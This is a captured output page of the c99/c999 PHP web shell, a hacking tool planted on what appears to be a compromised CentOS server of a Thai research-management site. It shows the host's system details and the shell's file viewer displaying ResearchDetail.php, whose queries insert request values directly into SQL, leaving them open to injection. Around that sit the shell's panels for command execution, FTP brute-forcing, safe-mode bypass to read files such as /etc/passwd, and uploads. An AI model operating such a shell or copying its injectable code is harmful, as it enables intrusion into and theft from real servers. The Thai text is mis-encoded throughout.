!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Research_depart/   drwxr-xr-x
Free 52.4 GB of 127.8 GB (41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ResearchDetail.php (16.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../include/FunctionDB.php");
include("../include/Function.php");
include("admin_menu.php");
 ConnectDB();
$sql = "Select * From personal_tb as t,research_tb as r Where t.Teacher_code = r.Teacher_code and r.Research_code='$Research_code'";
$result = mysql_query($sql) or die(" Error").mysql_error();
$rs = mysql_fetch_array($result)
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style2 {font-size: 14px}
-->
</style>
<table width="833" border="0" cellpadding="0" cellspacing="0">
	<tr>
	  <td width="843"><br>
	    <fieldset>
			<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">˹éÒËÅÑ¡</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />¢éÍÁÙÅ¡ÒçҹÇÔ¨ÑÂ</font></legend>
			<label><div align="center">
			  <form id="form1" name="form1" method="post" action="">
			    <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
			    <table width="89%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" bgcolor="#eeeeee"style="border:0px solid gray"size="12">
                  <!--DWLayoutTable-->
                  
                  <tr bgcolor="#FFFFFF">
                    <td height="20" colspan="3" nowrap="nowrap" bordercolor="#D8D2A9"><!--DWLayoutEmptyCell-->&nbsp;</td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td width="172" height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">ª×èͧҹÇÔ¨ÑÂ</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Research_name] ?></font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">»ÃÐàÀ·§Ò¹ÇÔ¨ÑÂ</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Research_type] ?></font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">ÅѡɳмŧҹÇÔ¨ÑÂ</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
	  $code = $rs[Research_char];
	  $sql9 = "Select * From research_char_tb Where code='$code'";
	  $result9 = mysql_query($sql9) or die("Error".mysql_error());
	  $rss9 = mysql_fetch_array($result9);
	  echo"$rss9[Rchar_name]";
	  
	   ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">ÊÒ¢ÒÇÔªÒ</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;&nbsp;<? echo $rs[Branch] ?> </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">ª×èͼÙéÇÔ¨ÑÂ</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
	        echo"$rs[First_name]";
      ?>
                          <?php
	        echo"$rs[Teacher_name]";
      ?>
                          <?php
  	        echo"$rs[Teacher_lastname]";
      ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">»Õ·ÕèàÃÔèÁ·Ó</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                        <tr bgcolor="#FFFFFF">
                          <td width="30%"><div align="center"><font color="#003366" size="2" face="Tahoma">
                              <?php 
	   $sday = $rs[Year_start];
	$yearthai = explode("-",$sday);
    $day =      intval($yearthai[2]);
    $month =  intval($yearthai[1]);
    $year =     intval($yearthai[0]);	 
		  //////////////////
 //   $yearthai =  $day ;
  $m = getThaiSubMonth($month);
	 echo"$day"." "."$m"." "."$year";
    ?>
                          </font></div></td>
                          <td width="30%"><div align="center"><font color="#000000" size="2" face="Tahoma"><strong>»Õ·ÕèáÅéÇàÊÃç¨</strong></font></div></td>
                          <td width="30%"><div align="center"><font color="#003366" size="2" face="Tahoma">
                              <?php 
	   $sday = $rs[Year_finish];
	$yearthai = explode("-",$sday);
    $day =      intval($yearthai[2]);
    $month =  intval($yearthai[1]);
    $year =     intval($yearthai[0]);	 
		  //////////////////
 //   $yearthai =  $day ;
  $m = getThaiSubMonth($month);
	 echo"$day"." "."$m"." "."$year";
    ?>
                          </font></div></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">µÓá˹觡ÒÃÇÔ¨ÑÂ</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;&nbsp;<? echo  $rs[R_position]?> </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      1</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name1] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      2</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name2] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      3</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name3] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      4</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name4] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      5</font></div></td>
                    <td width="2" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td width="559" nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name5] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      6</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name6] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      7 </font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name7] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¼ÙéÃèÇÁÇԨѠ
                      8 </font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma"> &nbsp;
                          <?php
		  $Teacher_code =   $rs[name8] ;
		  $sql1  = "Select * From personal_tb Where Teacher_code='$Teacher_code'";
		  $result1 = mysql_query($sql1) or die("Error".mysql_error());
		  $res1 = mysql_fetch_array($result1);
		  echo "$res1[First_name]&nbsp;$res1[Teacher_name]&nbsp;$res1[Teacher_lastname]";
		  ?>
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">à§Ô¹·Ø¹</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Fund] ?>&nbsp;</font><font color="#000000" size="2" face="Tahoma">&nbsp;&nbsp;ºÒ·</font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">áËÅè§à§Ô¹·Ø¹</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Fund_resource] ?>&nbsp;</font><font color="#000000" size="2" face="Tahoma">&nbsp;&nbsp;<font color="#003366">¨Ò¡</font>&nbsp;&nbsp;<font color="#003399">&nbsp;<? echo $rs[Resource_des] ?></font></font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¡ÒÃà¼Âá¾Ãè</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Propagate] ?>&nbsp; <? echo $rs[Propagate_des] ?>&nbsp; </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">ÅѡɳСÒÃà¼Âá¾Ãè</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Prop_type] ?></font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td rowspan="2" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">¡ÒùÓä»ãªé</font></div></td>
                    <td height="20" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Apply1] ?> ,<? echo $rs[Apply2] ?> ,<? echo $rs[Apply3] ?> </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Apply4] ?> <? echo $rs[Apply_des] ?> </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="20" nowrap="nowrap" bordercolor="#D8D2A9"><div align="center"><font color="#000000" size="2" face="Tahoma">»Õ·Õèà¼Âá¾Ãè</font></div></td>
                    <td nowrap="nowrap"><!--DWLayoutEmptyCell-->&nbsp;</td>
                    <td nowrap="nowrap"><font color="#003399" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Year_prop] ?></font></td>
                  </tr>
                </table>
			    <br>
			  </form>
			  </div>
			</label>
		</fieldset><br>
	  <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà赯 :</b> ãªéàÁÒÊì¤ÅÔ¡·Õèª×èÍ</font></td>
	</tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--